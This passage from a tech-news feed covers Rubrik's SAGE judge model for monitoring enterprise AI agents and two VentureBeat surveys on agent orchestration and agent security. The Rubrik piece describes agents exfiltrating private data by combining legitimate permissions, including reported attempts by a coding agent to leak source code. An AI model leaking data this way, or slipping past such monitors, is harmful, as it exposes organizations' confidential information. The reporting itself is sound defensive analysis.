case for putting a model in the judgment seat comes down to precision. A rule like "agents should not be able to edit revenue fields in Salesforce" fails in conventional tooling because Salesforce does not delineate which fields count as revenue, Rishi explained, so administrators fall back on approving every Salesforce action by hand. SAGE reads the intent instead and acts as a judge, carrying organizational context, which can tell a benign lookup from the edit the policy prohibits.</p><p>Keeping the judge small is what makes the economics work. <!-- -->SAGE runs on a small language model that Rishi said operates at an order of magnitude lower cost and latency than a frontier LLM. "If I told you, don't worry, you're gonna be secure and governed, but I'm gonna double your cost and latency, you would tell me to get out of the room," Rishi said.</p><p>When Rishi asked who in the audience had worried about token consumption over the past year, half the hands went up. "And I guess the other half is probably just too lazy to raise their hand," he said.</p><p>SAGE is an aggregation of judges based on parameter-efficient fine-tuning that Rubrik uses to take on task-specific variants of a base model with shared organizational context. One judge watches for tool-use hallucinations while another suppresses PII before it can leave, each running as its own enforceable policy. Security and GRC teams have started writing financial rules into the same layer, including one internal policy barring AI spend on personal projects.</p><h2>The lethal trifecta</h2><p>Asked which attacks worry him most, Rishi pointed at the <a href="https://simonwillison.net/2025/Jun/16/the-lethal-trifecta/">lethal trifecta</a>, the term security researcher Simon Willison coined in June 2025 for an agent that holds private data while taking in content nobody vetted, with a channel to send what it finds to the outside world. The danger, according to Rishi, is what happens when individually legitimate permissions stack. An agent granted Salesforce access and email access on an employee's credentials has done nothing wrong yet, with <i>yet</i> being the operative word. "A very simple example is that an agent can start pulling data from Salesforce and then decide to accidentally leak and exfiltrate that out via an email," he told the audience. A financial services company he met the morning of the session made the point for him, telling Rishi that none of the individual permissions are bad on their own and the agent needs every one of them to do its job. "It should have permission to each of those systems, but it's the combination that ends up becoming really destructive," Rishi said.</p><p>Traditional identity and access management never priced in that combination because it relied on the judgment of the employee holding the credentials, Rishi argued, and agents supply none. "I can tell you the number of times Claude Code has tried to leak some of our sensitive source code to a public GitHub repository is incredibly high," he said. Cutting agents off from public resources entirely would defeat their purpose, which returns the problem to adjudicating intent in context rather than revoking access.</p><p>A separate <a href="https://venturebeat.com/security/shared-api-keys-expose-ai-agent-fleets-venturebeat-research">VentureBeat June Pulse survey</a> of 107 qualified enterprise respondents maps the blast radius of exactly this pattern. On the Transform stage that morning, VentureBeat research reported that 69% of companies run credential sharing somewhere in their agent fleet. Companies with shared credentials anywhere got hit more often, reporting a security incident or near-miss at a 63.5% rate (47 of 74), against 40.9% (9 of 22) where every agent carries its own scoped identity.</p><h2>The attacks no single turn reveals</h2><p>Rubrik Agent Cloud reached <a href="https://www.rubrik.com/blog/company/26/2/introducing-rubrik-agent-cloud-control-your-agents-with-ai">general availability in February</a>, though not everything Rishi described ships in it yet. Backtesting is just starting to roll out. The feature replays an organization's historical agent actions and tool calls against a new policy, showing where the policy would have stepped in and where an action would have sailed through uncaught, with policy edits applied in real time. Rishi called that archive one of the most valuable data troves an enterprise holds.</p><p>Real-time detection and blocking turn out to be the entry point rather than the whole product. Some attacks never trip a single-action rule. "No individual turn of the conversation was problematic, but if you took the session as a full trace, that ended up being problematic," Rishi said. Agent Cloud runs batch analysis across entire session traces every hour or every day and surfaces what Rubrik calls insights, the problems no individual guardrail caught. The same Zero Labs report found that 88% say they lack the ability to roll back agent actions without system disruption, a recovery gap that sits squarely in Rubrik's original line of business.</p><p>A skeptical CISO will ask the question the fireside did not answer. SAGE is a non-deterministic model policing other non-deterministic models, and Rishi offered no false positive or false negative rate for the judge itself. The closest thing the architecture gives to an answer is auditability, since backtesting and the batch insights both leave a human-reviewable trail of each call SAGE made and whatever got past it. Who watches the watcher, for now, is a trail of receipts rather than a benchmark. Until that benchmark exists, AI in the loop stays an operational wager rather than a quantified control.</p><p>Three questions fall out of the session for security teams. How many of the guardrails now in production depend on a human clicking approve, and what happens to that workload as agent count grows? Does anything in the stack enforce semantic intent, or is it all allow and deny lists? And can the team backtest agent behavior against a new policy, then unwind a multi-turn session without taking systems down?</p><p>Rishi's timing has a market behind it. In the same VentureBeat research, 82% of enterprises still name their primary AI provider's built-in guardrails and cloud controls as their main agent security layer, and 59% plan to adopt, add, or replace agent security tooling within the next 12 months. Only 12% include an agent-identity product in what they are considering, even with credential sharing still the norm. Every CISO at that Anthropic roundtable had a policy document and no enforcement mechanism, and Rubrik built a product for the space between the two. YOLO mode is the bet that an AI watching other AIs can finally make the policies real.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Agentic orchestration: Enterprise AI organizations have a deployment problem, not a platform problem — and most are calling chatbots agents]]></title>
<description><![CDATA[Across 101 enterprises, agent orchestration is consolidating onto model-provider platforms — Anthropic’s Claude leads by a wide margin — chosen for the gravity of the underlying model and judged on reliable multi-step execution. But the ambition runs well ahead of the reality: most deployed “agen...]]></description>
<link>https://tsecurity.de/de/3689830/it-nachrichten/agentic-orchestration-enterprise-ai-organizations-have-a-deployment-problem-not-a-platform-problem-and-most-are-calling-chatbots-agents/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689830/it-nachrichten/agentic-orchestration-enterprise-ai-organizations-have-a-deployment-problem-not-a-platform-problem-and-most-are-calling-chatbots-agents/</guid>
<pubDate>Thu, 23 Jul 2026 19:19:45 +0200</pubDate>
<content:encoded><![CDATA[<p>Across 101 enterprises, agent orchestration is consolidating onto model-provider platforms — Anthropic’s Claude leads by a wide margin — chosen for the gravity of the underlying model and judged on reliable multi-step execution. But the ambition runs well ahead of the reality: most deployed “agents” are still chatbot wrappers, the control plane enterprises expect is deliberately hybrid to avoid lock-in, and real-time fiscal control over token burn remains the exception.</p><p>This wave of VentureBeat Pulse Research examines enterprise agent orchestration: which platforms enterprises run on, what drives the choice, what they optimize for, how they expect agent control to be structured, and — most revealingly — how orchestrated their deployed “agents” actually are and how tightly they control the cost of running them.</p><p>The central finding is a gap between orchestration ambition and orchestration reality. Enterprises are consolidating fast onto the major model platforms: Anthropic’s Claude is the primary platform for 40%, more than double any rival, followed by Microsoft (18%) and OpenAI (13%). The choice is driven by “model gravity” — native alignment with a state-of-the-art base model (21%) — and success is judged by reliable, multi-step execution (task completion reliability 32%, multi-step workflow management 28%). Yet asked to assess their portfolios honestly, 71% say a quarter or fewer of their deployed “agents” are true multi-step orchestrated workflows rather than single-prompt chatbot wrappers, and only 10% have crossed the halfway mark. The orchestration layer is being built well ahead of the orchestrated portfolio it is meant to run.</p><p>That gap shapes the architecture enterprises are putting in place. By the end of 2026 a clear majority (51%) expect a hybrid control plane — provider-native plus external orchestration — and only 6% expect to hand control to a provider-managed service, because vendor lock-in (35%) is the risk they fear most if control lives inside a model provider. Investment follows the build-out: agent workflow tooling leads the spend (34%), with security and permissions enforcement (25%) behind. And fiscal control lags throughout — more than a quarter (27%) have no real-time way to stop a runaway agent before the bill arrives.</p><h2>Methodology</h2><p>VentureBeat fielded this survey as part of its ongoing Pulse Research series, this instrument focused on enterprise agent orchestration. Responses are filtered to organizations with 100 or more employees (n=101), drawn from a single June 2026 wave; because this is one wave rather than a pooled multi-month sample, the report reads cross-sectionally and does not infer month-over-month trends.</p><p>By organization size the sample is spread evenly across the enterprise bands: 100–499 employees, 2,500–9,999, and 50,000+ (21% each), with 10,000–49,999 and 500–2,499 (19% each). By role it is senior and buyer-credible: product and program managers (15%), CIO/CTO/CISO (13%), consultants and advisors (13%), and a spread of data, AI, and engineering directors and VPs, with an “Other” function at 18%. On purchasing, 81% are recommenders, influencers, or final decision-makers for AI solutions (66% recommender/influencer, 15% final decision-maker). Technology/Software is the largest industry at 44%, followed by Financial Services (17%) and Healthcare/Life Sciences (8%).</p><p>At 101 respondents the sample is robust enough to read directionally with reasonable confidence, though it remains self-selected and is not a probability sample.</p><h2>Finding 1: Orchestration runs on model-provider platforms</h2><p><b>Anthropic’s Claude leads; open frameworks are marginal</b></p><p>We asked which agent orchestration platform enterprises primarily use today. The answer concentrates on the major model providers — and on one in particular.</p><div></div><p>A note on reading these shares. As described in the methodology section, the respondents are self-selected, and this question asked them for a single primary platform — so the figures measure which platform leads each enterprise's deployment, within a self-selected audience of AI-active technical decision-makers. A sample built this way can diverge substantially from spend-weighted market measures, and each VB Pulse survey draws its own sample with its own company-size mix, so vendor figures should not be compared across our surveys either. Read these shares as a portrait of where this cohort has placed its primary orchestration bet today, rather than as market share.</p><p>The model platforms dominate. Anthropic, Microsoft, OpenAI, Google, and Amazon together account for roughly 80% of deployments (81 of 101), while the open frameworks (LangChain/LangGraph) and custom in-house builds that anchor engineering discussion sit in single digits. Anthropic’s lead — 40%, more than double the next platform — mirrors the “model gravity” selection logic in Finding 2: enterprises are choosing the orchestration layer that comes with the model they want to build on. As with the security vendors in the prior agent-security wave, the tools that define the category in technical circles are not yet where enterprise deployment concentrates. A small 3% are not orchestrating at all.</p><p>Respondents rate the platforms they run at 3.94 out of 5 overall (109 answered), with “value for money” specifically at 3.94 and “ease of implementation” the weakest score, at 3.85 — placing orchestration near the bottom of our five-tracker satisfaction range, ahead of only evaluation tooling. A rating just under 4 out of 5, from users of whom 96% plan to change their orchestration approach within the year, reads as provisional acceptance: the platforms work well enough to run today, and not well enough to stop the search for something better. The ratings sit alongside near-universal intent to change; this is a layer enterprises tolerate more than they love.</p><h2>Finding 2: Model gravity drives platform selection</h2><p><b>The base model, not the tooling, decides the platform</b></p><p>We asked what most influenced the orchestration platform choice. The single largest factor is the pull of the underlying model — though flexibility and ease of development follow close behind.</p><div></div><p>Model gravity leading is the selection-side explanation for Anthropic’s platform lead: enterprises pick the orchestration environment closest to the frontier model they have standardized on. But the next tier complicates the picture — flexibility across models and tools (17%) and ease of development (17%) say enterprises also want to avoid being trapped by that choice, foreshadowing the lock-in fear in Finding 6. Security and permissions (14%) and total cost of ownership (11%) round out a pragmatic buying logic. Performance (latency/memory) sits last at 4%, a reminder that at this stage of adoption the binding constraints are model fit and optionality, not raw speed.</p><h2>Finding 3: The job is reliable multi-step execution</h2><p><b>Enterprises just orchestration by whether it completes the work</b></p><p>We asked what enterprises optimize for — their primary success metric for orchestration. Reliability and multi-step workflow management dominate; developer- and user-facing metrics trail.</p><div></div><p>Task completion reliability (32%) and multi-step workflow management (28%) together account for 59% of responses (60 of 101): orchestration succeeds, in the enterprise view, when it reliably carries a task through multiple steps to completion. Developer productivity (17%) matters but is secondary — the inverse of its prominence in framework discussion — and end-user experience (9%) is a minor concern, consistent with orchestration being an internal execution problem rather than a UX one. This reliability-first standard is exactly what makes the Chatbot Trap finding so pointed: enterprises define success as dependable multi-step execution, yet most of their deployed “agents” do not yet do multi-step work at all.</p><p>The trap is not evenly distributed. Splitting the sample by organization size, 77% of smaller enterprises say a quarter or fewer of their agents do true multi-step work, against 62% of larger ones. Larger enterprises are meaningfully further into genuine multi-step deployment; the chatbot trap is, directionally, a mid-market condition.</p><h2>Finding 4: Consolidate, productionize, and build in-house </h2><p><b>Three strategic moves are nearly tied for the year ahead</b></p><p>We asked what major change enterprises anticipate in their orchestration strategy over the next 12 months. Three moves cluster at the top, almost evenly split.</p><div></div><p>The top three — building in-house control (25%), standardizing on one framework (24%), and moving agents from sandbox to production (23%) — are statistically indistinguishable and tell a single story: enterprises are moving from experimentation to operational consolidation. They want fewer frameworks, more production exposure, and more ownership of the control layer; only 4% expect no change. The appetite for custom in-house control planes is notable alongside the platform concentration in Finding 1 — enterprises are standardizing on model-provider platforms while simultaneously planning to wrap them in control logic they own, the hybrid posture that Finding 6 makes explicit.</p><h2>Finding 5: Nearly seven in 10 plan to switch — and the biggest group of movers has no shortlist </h2><p>The strategic change enterprises anticipate (previous finding) comes with vendor motion attached. Asked whether they plan to adopt a new, additional, or replacement agent orchestration platform in the next twelve months, more respondents are moving here than in any other layer we track.</p><div></div><p>Asked which platforms they are considering, the most common answer among those in motion is none yet: 29% of all respondents are evaluating without a shortlist, the largest single response after "not considering a change." Among named candidates, OpenAI leads at 16%, followed by LangChain/LangGraph at 12% and Anthropic at 7% — and notably, the independent frameworks draw roughly double their current usage footprint in forward consideration, the same pattern our security tracker found for specialist vendors. Read with this report's concentration and lock-in findings, the picture completes itself: the major model-platform providers hold roughly four-fifths of today's primary usage, vendor lock-in has become the leading fear, 96% anticipate a strategic change — and now the purchase intent to act on all of it, with the largest bloc of buyers still undecided. The most concentrated layer of the agentic stack is also, as of June, the least settled.</p><h2>Finding 6: Investment flows to workflow tooling</h2><p><b>Tooling and permissions lead the spend; monitoring trails</b></p><p>We asked which orchestration-related investment will grow most next year. Agent workflow tooling leads, with security and permissions enforcement behind.</p><div></div><p>Workflow tooling leading (34%) is the budget-side expression of the reliability-and-multi-step priority in Finding 3: the money is going to the machinery that strings steps together dependably. Security and permissions enforcement (25%) and scaling infrastructure (20%) follow — the investments required to take agents from sandbox into production, the strategic move in Finding 4. Monitoring and debugging draws a smaller 11%, with another 11% reporting flat budgets. The weight on tooling, permissions, and scaling over pure observability signals that enterprises are spending to build and harden orchestration, not merely to watch it run.</p><h2>Finding 7: The control plane will be hybrid — and lock-in is why</h2><p><b>Enterprises expect to split control between providers and their own layer</b></p><p>We asked where enterprises expect the primary control plane for agents to live by the end of 2026, and what worries them most if that control sits inside a model-provider platform. A clear majority expect a hybrid model — and vendor lock-in is the reason.</p><div></div><p>Hybrid control is the dominant expectation by a wide margin (51%), and only 6% expect to hand control to a provider-managed service outright. Read together, the hybrid, custom, and externally-abstracted options — every architecture that keeps control at least partly outside the provider — sum to 88% (89 of 101). The reason surfaces directly when we asked about the risk of provider-resident control: vendor lock-in leads at 35% (35 of 101), ahead of security and permissioning limitations (28%) and inflexibility across models and tools (21%). The pattern echoes the prior wave’s “don’t trust the model to police itself” posture — here, enterprises will build on a provider’s platform but decline to be governed entirely by it. The hybrid control plane is the architectural hedge against the lock-in they most fear.</p><p>The June figure asserting a preference for a hybrid control plane marks movement from earlier. In the April–May survey (n=145), only 34% expected a hybrid control plane, and a greater number (12%) expected to hand control fully to a provider-managed service. These two snapshots don’t yet measure a confirmed longitudinal trend — but the direction of the conversation is unambiguous: toward keeping control.</p><p>Lock-in is also a new arrival as a top concern. In the April–May wave, the leading concern was security and permissioning limitations (32%), with lock-in second at 24%; by June the two had traded places. The worry about provider platforms appears to be maturing from whether they can be secured to whether they can be replaced.</p><h2>Finding 8: The chatbot trap — most “agents” aren’t agents yet</h2><p><b>Enterprises admit most deployments are still chatbot wrappers</b></p><p>We asked enterprises to assess their portfolios honestly: what share of their deployed “agents” are true multi-step orchestrated workflows versus simple single-prompt chatbot wrappers. The answer is the defining finding of this wave.</p><div></div><p>This is the gap at the center of the report. Combining the bottom two bands, 71% of enterprises (72 of 101) say a quarter or fewer of their deployed “agents” are genuinely orchestrated — and just 10% (10 of 101) have crossed the halfway mark. The ambition documented in the earlier findings — model-provider platforms, reliability-first success metrics, production rollouts, a deliberate control architecture — runs well ahead of the deployed reality, which remains overwhelmingly single-prompt assistants dressed as agents. This is less a contradiction than a roadmap: the platforms, budgets, and strategies are being put in place precisely because the orchestrated portfolio is still so thin. The open question for later waves is how fast the reality closes on the ambition.</p><h2>Finding 9: Fiscal control is still reactive</h2><p><b>Only a minority can stop a runaway agent before the bill arrives</b></p><p>Finally, we asked how enterprises enforce fiscal control over agent token consumption — the risk that an autonomous loop exhausts a budget before anyone intervenes. Most rely on native caps or after-the-fact monitoring; real-time programmatic control is the exception.</p><div></div><p>More than a quarter of enterprises (27%) admit they have no real-time, programmatic way to stop an agent before a budget-breaking bill arrives — they learn of it from the logs afterward. Another 32% lean entirely on the native caps and throttles built into their primary platform, a control only as good as the provider’s tooling and one that ties back to the lock-in concern of Finding 6. The enterprises building custom gateways (23%) or exploiting cross-model routing to arbitrage cost (19%) are the ones treating token burn as an engineering problem to be controlled deterministically. As with orchestration maturity, fiscal control is an area where the operational reality lags the ambition: agents are moving toward production faster than the cost-control plane around them is being built.</p><p>It’s worth noting, a split appears according to company size: roughly one in three enterprises under 2,500 employees (34%) exercises only reactive control of agent spend, against 20% of larger enterprises — directional figures, but consistent with the chatbot-trap split. The mid-market is running the least mature agents on the least instrumented budgets.</p><h2>The bottom line: The layer is real; most of the agents aren't yet</h2><p>Organizations with 100 or more employees describe an orchestration strategy that is consolidating quickly and maturing slowly. They are standardizing — for now — on model-provider platforms, which collectively hold roughly four-fifths of primary usage, chosen for the gravity of the underlying model, and they judge success by reliable multi-step execution. Investment is flowing to workflow tooling and permissions, the strategy is to consolidate frameworks and push agents into production, and the control plane they expect is deliberately hybrid, because vendor lock-in is the risk they fear most. But the standardization is provisional: 68% plan to adopt a new, additional, or replacement orchestration platform within twelve months — the highest switching intent of any layer we track — and the largest group of those movers has not yet shortlisted a candidate. Today's concentration describes where enterprises are, and visibly does not describe where they intend to stay.</p><p>But the honest self-assessment punctures the ambition. Seventy-one percent say a quarter or fewer of their deployed "agents" are truly orchestrated, only 10% are past the halfway mark, and more than a quarter cannot stop a runaway agent in real time. The orchestration layer — the platforms, the budgets, the control architecture — is being built ahead of the orchestrated portfolio it is meant to run. At 101 respondents in a single June wave this reads as a clear directional signal rather than a precise measurement: enterprises have decided how they want to orchestrate agents well before most of their agents are doing anything an orchestration layer is for. The questions for subsequent waves are whether the deployed reality closes the gap on the ambition — and, with nearly seven in ten buyers in motion and most of them undecided, which platforms the settled stack finally lands on.</p><hr><p><i>Based on survey responses from 101 qualified enterprise respondents (100+ employees), drawn from a single June 2026 wave. Because this is one wave rather than a pooled multi-month sample, results read directionally rather than as a confirmed trend. Respondents include product and program managers, CIOs, CTOs and CISOs, consultants and advisors, and directors and VPs of data, AI, and engineering, across Technology/Software, Financial Services, Healthcare, and other sectors.</i></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The agent security gap: 54% of enterprises have already had an AI agent incident, and most still let agents share credentials]]></title>
<description><![CDATA[Across 107 enterprises, AI agents are being given real access to systems and data while the controls meant to contain them lag behind. More than half have already had a confirmed agent security incident or a near-miss; only about a third give every agent its own scoped identity, and most agents s...]]></description>
<link>https://tsecurity.de/de/3689827/it-nachrichten/the-agent-security-gap-54-of-enterprises-have-already-had-an-ai-agent-incident-and-most-still-let-agents-share-credentials/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689827/it-nachrichten/the-agent-security-gap-54-of-enterprises-have-already-had-an-ai-agent-incident-and-most-still-let-agents-share-credentials/</guid>
<pubDate>Thu, 23 Jul 2026 19:19:41 +0200</pubDate>
<content:encoded><![CDATA[<p>Across 107 enterprises, AI agents are being given real access to systems and data while the controls meant to contain them lag behind. More than half have already had a confirmed agent security incident or a near-miss; only about a third give every agent its own scoped identity, and most agents still share credentials; and only three in ten isolate their highest-risk agents. The security stack is overwhelmingly borrowed from the model providers and hyperscalers rather than purpose-built for agents, spending remains a thin slice of the security budget, and enterprises are evenly split on whether their defenses are keeping pace with AI-enabled attackers. The result is an agent security gap — autonomous agents proliferating faster than the identity, isolation, and enforcement controls needed to hold them.</p><p>This wave of VentureBeat Pulse Research examines how enterprises secure their AI agents: what tooling they run, how they manage agent identity and isolation, what has already gone wrong, how much they spend, and whether they believe their defenses are keeping pace with AI-enabled attackers.</p><p>The central finding is an agent security gap — the distance between the autonomy enterprises are granting their agents and the controls in place to contain them. More than half of organizations (54%) have already experienced a confirmed agent security incident (18%) or a near-miss caught before harm (36%). The structural weakness beneath those numbers is identity: only about a third (32%) give every agent its own scoped, managed identity, while the rest report that some agents share credentials or that agents mostly run on shared API keys and human or service-account credentials. When agents share credentials, a single compromised or over-permissioned agent carries a wide blast radius — and only three in ten enterprises (30%) isolate their highest-risk agents in sandboxes to bound that radius.</p><p>What makes the gap notable is how comfortable enterprises are inside it. The security stack is overwhelmingly provider-native — OpenAI’s guardrails (51%), Google’s and Microsoft’s cloud controls, and Anthropic’s managed-agent controls dominate, while the dedicated agent-security specialists barely register — and satisfaction with that borrowed stack is high, averaging 4.2 out of 5. Yet spending remains a thin slice of the security budget, only a third of enterprises believe their AI defenses are ahead of AI-enabled attackers, and a clear majority plan to change tooling within the year. Enterprises are satisfied with controls they are simultaneously preparing to replace.</p><h2>Methodology</h2><p>VentureBeat fielded this survey as part of its ongoing Pulse Research series, this instrument focused on enterprise agent security — the tooling, identity, isolation, and enforcement controls organizations use to secure autonomous AI agents. Responses are filtered to organizations with more than 100 employees (n=107; the survey’s smallest size band, 1–100 employees, is excluded), drawn from a single June 2026 wave. Because this is one wave rather than a pooled multi-month sample, the report reads cross-sectionally and does not infer month-over-month trends. Several questions were multiple-select, so those shares can sum to more than 100%.</p><p>By role the sample is senior and buyer-credible: 45% are final decision-makers for AI purchases and another 30% recommenders or influencers. Managers (43%), individual contributors (24%), VPs and directors (15%), and the C-suite (11%) make up the seniority mix. By organization size the sample is mid-market-weighted: 251–1,000 (42%) and 101–250 (25%) employees lead, with 1,001–5,000 (19%), 5,001–10,000 (8%), and 10,001+ (7%) above them. Technology/Software is the largest industry at 23%, followed by Manufacturing (15%), Retail/E-commerce (14%), and Healthcare/Life Sciences (13%).</p><p>At 107 respondents the sample is large enough to read directionally but should be treated as a directional signal rather than a precise measurement; it is self-selected and is not a probability sample. It skews toward the mid-market, so it is best read as the view from organizations actively standing up agent security rather than from the largest operators.</p><p>Satisfaction ratings are computed on the respondents who answered each rating question; the overall satisfaction score reflects 82 of the 107 qualified respondents.</p><h2>Finding 1: The incidents are already here</h2><p><b>More than half have had an agent security incident or near-miss</b></p><p>We asked whether organizations had experienced an agent security incident — a confirmed breach, or a near-miss caught before harm. Most that run agents in production had.</p><div></div><p>This is the report’s defining number. More than half of organizations (54%) have already had an agent security event — 18% a confirmed incident and 36% a near-miss caught before it caused harm. Only 42% report nothing, and a small remainder either run no agents in production or don’t track such events. That so many report near-misses rather than only confirmed incidents is telling: enterprises are catching problems, but they are catching them close to the edge. The controls examined in the rest of this report — identity, isolation, enforcement — are what determine whether the next near-miss stays a near-miss.</p><p>Exposure scales with company size, but containment does not. The incident-or-near-miss rate rises from 49% in the mid-market (companies with 101-1,000 employees) to 63% at larger enterprises (above 1,000 employees), while sandbox isolation of high-risk agents falls from 35% to 20%, and satisfaction with security tooling drops from 4.36 to 3.97. The organizations running the most agents across the most systems carry the most incidents and the least of the one control that bounds an incident's blast radius.</p><h2>Finding 2: The identity gap</h2><p><b>Only a third give every agent its own scoped identity</b></p><p>We asked how enterprises manage the identity of their AI agents — whether each agent has its own credentials, or agents share them. Full per-agent identity is the exception.</p><div></div><p>Rolled together, the overlapping answers show 69% of enterprises (74 of 107) with credential sharing somewhere in the agent fleet. Identity is the structural weakness beneath the incidents. Only about a third of enterprises (32%) give every agent its own scoped, managed identity — the precondition for least-privilege access and clean attribution. Nearly half (48%) say some agents have scoped identities but many still share credentials, and another 32% say agents mostly run on shared API keys or borrowed human and service-account credentials. (Respondents could describe more than one pattern across their agent fleet, so these overlap.) </p><p>The consequence is direct: when agents share credentials, an over-permissioned or compromised agent can act with far more reach than intended, and forensics after an incident cannot cleanly tell which agent did what. The non-human identity problem — giving every agent its own governed identity — is the single largest unfinished piece of enterprise agent security.</p><p>Moreover, a company’s agent credential posture is correlated with incidents. Organizations with credential sharing anywhere in the fleet were hit — with an incident or a near-miss in the past twelve months — at 63.5% (47 of 74). Organizations where every agent carries its own scoped identity were hit at 40.9% (9 of 22). The fully-scoped group is small, so for now the relationship is an association rather than proven causation, and the gap is concentrated in the mid-market — but within a single survey, a twenty-three point difference in incident rate suggests significance.</p><h2>Finding 3: Observe and enforce, but rarely isolate</h2><p><b>Only three in 10 sandbox their highest-risk agents</b></p><p>We asked what an organization’s agent security posture looks like in practice — whether they observe, enforce, isolate, or some combination. The control that bounds damage is the least common.</p><div></div><p>Monitoring and enforcement are reasonably common; containment is not. Roughly half of enterprises observe agent activity (47%) or enforce scoped permissions at runtime (49%), but only 30% isolate their highest-risk agents in sandboxes that bound the blast radius when the other controls fail. That ordering is backwards from a defense-in-depth standpoint: observation tells you what happened, enforcement tries to prevent it, but isolation is what limits the damage when prevention fails — and it is the control enterprises have adopted least. Combined with the identity gap in Finding 2, the picture is of agents that are watched and permissioned but rarely boxed in, which is precisely the configuration in which a single failure propagates.</p><h2>Finding 4: Security runs on borrowed, provider-native controls</h2><p><b>Guardrails from OpenAI, Google and Microsoft dominate; specialists barely register</b></p><p>We asked which agent security tooling enterprises use, and which is their primary layer. The answer favors the model providers and hyperscalers over the dedicated security vendors.</p><div></div><p>Enterprises are securing agents with tools that came bundled with their models and clouds. OpenAI’s guardrails lead at 51%, followed by Google’s and Microsoft’s cloud-native controls and Anthropic’s managed-agent controls — and when asked to name their single primary security layer, 82% name one of these provider-native offerings. The purpose-built agent-security category — Palo Alto’s Prisma AIRS, CrowdStrike, Cisco AI Defense, Zenity, HiddenLayer, Check Point’s Lakera, Okta for AI Agents, non-human identity platforms — barely registers, each in the low single digits, and only 5% run no dedicated tooling at all. As with retrieval and evaluation elsewhere in this series, the provider bundle is winning the default: enterprises reach first for the guardrails their platform ships, and the independent security layer that would address the identity and isolation gaps has not yet been adopted at scale.</p><p>The provider-default pattern is consistent across both Q2 survey waves. In April–May (n=110), usage was led by the same names — OpenAI's controls at 26%, Azure at 15%, AWS at 14%, Google at 12% — with every dedicated agent-security specialist at 3% or below and one in ten using no dedicated tooling at all. The common finding from the two surveys: Enterprises are defaulting to the solutions provided by the platform they’re using, and the specialist category vendors have yet to become big players here.</p><p>(<i>A note on reading these shares. As described in the methodology section, the respondent sample is self-selected and skews mid-market, and the usage question counted every vendor or approach a respondent has in place — so the figures measure presence in the security stack rather than spending or exclusivity. Individual vendor percentages therefore carry all the usual sample caveats. The structural pattern, however, held across both Q2 waves on two differently worded questions: provider-native and hyperscaler controls lead, and dedicated agent-security specialists remain in low single digits. Read the individual shares loosely and the pattern with confidence.)</i></p><h2>Finding 5: And enterprises are comfortable with it</h2><p><b>Satisfaction is high, even as incidents mount and identity lags</b></p><p>We asked how satisfied enterprises are with their current agent security tooling. The comfort is notably out of step with the exposure documented above.</p><div></div><p>Satisfaction with agent security tooling is high — 4.2 out of 5 overall, and 4.1 for value for money — among the most positive readings in this series. That is the striking part: enterprises are highly satisfied with a stack that is mostly borrowed provider guardrails, even though more than half have already had an incident or near-miss and only a third give their agents scoped identities. The comfort appears to rest on the convenience and low friction of provider-native controls rather than on demonstrated containment. It is a false comfort in the making — the same enterprises expressing satisfaction are, as Finding 8 shows, a clear majority planning to change tooling within the year, which suggests the confidence is thinner than the score implies.</p><h2>Finding 6: Budgets haven’t caught up</h2><p><b>Most spend under a tenth of the security budget on agents</b></p><p>We asked what share of the security budget enterprises allocate to securing AI agents. For a fast-emerging risk, the allocation is modest.</p><div></div><p>Spending on agent security is still a thin slice. The most common allocation is 6–10% of the security budget (46%), and a third of enterprises (34%) spend 5% or less; only a quarter (24%) devote more than a tenth. Given the incident rate in Finding 1 and the identity and isolation gaps in Findings 2 and 3, the budget looks like a lagging indicator — the risk has arrived faster than the funding to address it. The enterprises spending more than a tenth of their security budget on agents are a distinct minority, and they are likely the ones building the scoped-identity and isolation controls the rest have not.</p><h1>Finding 7: The arms race is even, at best</h1><p><b>Only a third think their AI defenses are ahead of AI-enabled attackers</b></p><p>We asked how enterprises assess the balance between their AI-enabled defenses and AI-enabled attackers. Confidence is far from settled.</p><div></div><p>Enterprises are split on whether they are winning. Only about a third (35%) believe their AI-enabled defenses are ahead of AI-enabled attackers; the rest are less sure — 32% call it roughly even, 21% think attackers are ahead, and another 21% say it is too early to tell. Taken together, a clear majority (53%) rate the balance as even or tilted toward the attacker. That uncertainty sits uneasily beside the high satisfaction of Finding 5: enterprises are content with their tooling yet unconvinced it is winning the contest it exists to win. In a domain where the offense is also compounding with AI, an even race is not a comfortable place to be.</p><h2>Finding 8: A security reshuffle is coming</h2><p><b>Nearly six in 10 plan to adopt or switch tooling within a year</b></p><p>We asked whether enterprises plan to adopt a new, additional, or replacement agent security solution, and which they are considering. Few intend to stand pat.</p><div></div><p>The security stack is not settled. While 41% have no plans to change, a clear majority (59%) intend to adopt a new, additional, or replacement agent security solution within twelve months, and 29% within the next quarter — a strong signal that, high satisfaction notwithstanding, enterprises know the current stack is provisional. Incidents are what start the buying cycle. </p><p>Among organizations that have been hit, 42.1% plan to adopt, add, or replace agent security tooling within the next ninety days, against 14.0% of organizations with no incident — and after a confirmed incident it becomes majority behavior, at 52.6%. Getting hit also changes the threat assessment: 33.3% of hit organizations say AI-armed attackers are ahead of their defenses, against 8.0% of the unhit. Experience, in this data, is the strongest predictor of both urgency and pessimism.</p><p>The consideration set still leans provider-native (OpenAI 34%, Google 30%, Anthropic 29%, Azure 25%), but the dedicated security vendors — Cloudflare, Cisco, Palo Alto, Okta, Check Point’s Lakera — draw early interest in the mid-to-high single digits, more than their current footprint. </p><p>What the shopping does not yet include is the identity layer specifically. Twelve percent of the respondents include an agent-identity product — Okta for AI Agents, Microsoft Entra Agent ID, or a non-human identity platform — anywhere in their consideration set, and among the credential-sharing organizations that have already had an incident, identity consideration is essentially unchanged, at roughly one in ten. The control most directly implicated by the incident data is the one largely missing from the purchase plans. Whether this wave hardens the provider-native default or finally opens the door to purpose-built agent security — the identity and isolation controls the incidents call for — is the question this series will keep tracking.</p><h2>The bottom line: A security gap that autonomy will test first</h2><p>Organizations with more than 100 employees are giving AI agents real reach into systems and data while securing them with controls built for something else. More than half have already had an incident or near-miss; only a third give every agent its own scoped identity, and most still share credentials; only three in ten isolate their highest-risk agents; and the stack doing this work is overwhelmingly borrowed from the model providers and hyperscalers rather than purpose-built for agents.</p><p>The uncomfortable pairing is confidence with exposure: satisfaction with the current tooling is among the highest in this series, yet spending is a thin slice of the security budget, only a third believe their defenses are ahead of AI-enabled attackers, and a clear majority are already planning to replace what they have. At 107 respondents in a single wave this is a directional read, skewed toward the mid-market — but the direction is clear: agent adoption is running ahead of agent security, and the controls that matter most when something fails — scoped identity and isolation — are the ones enterprises have built least. The agent security gap is not a coverage problem that a provider guardrail will close on its own; 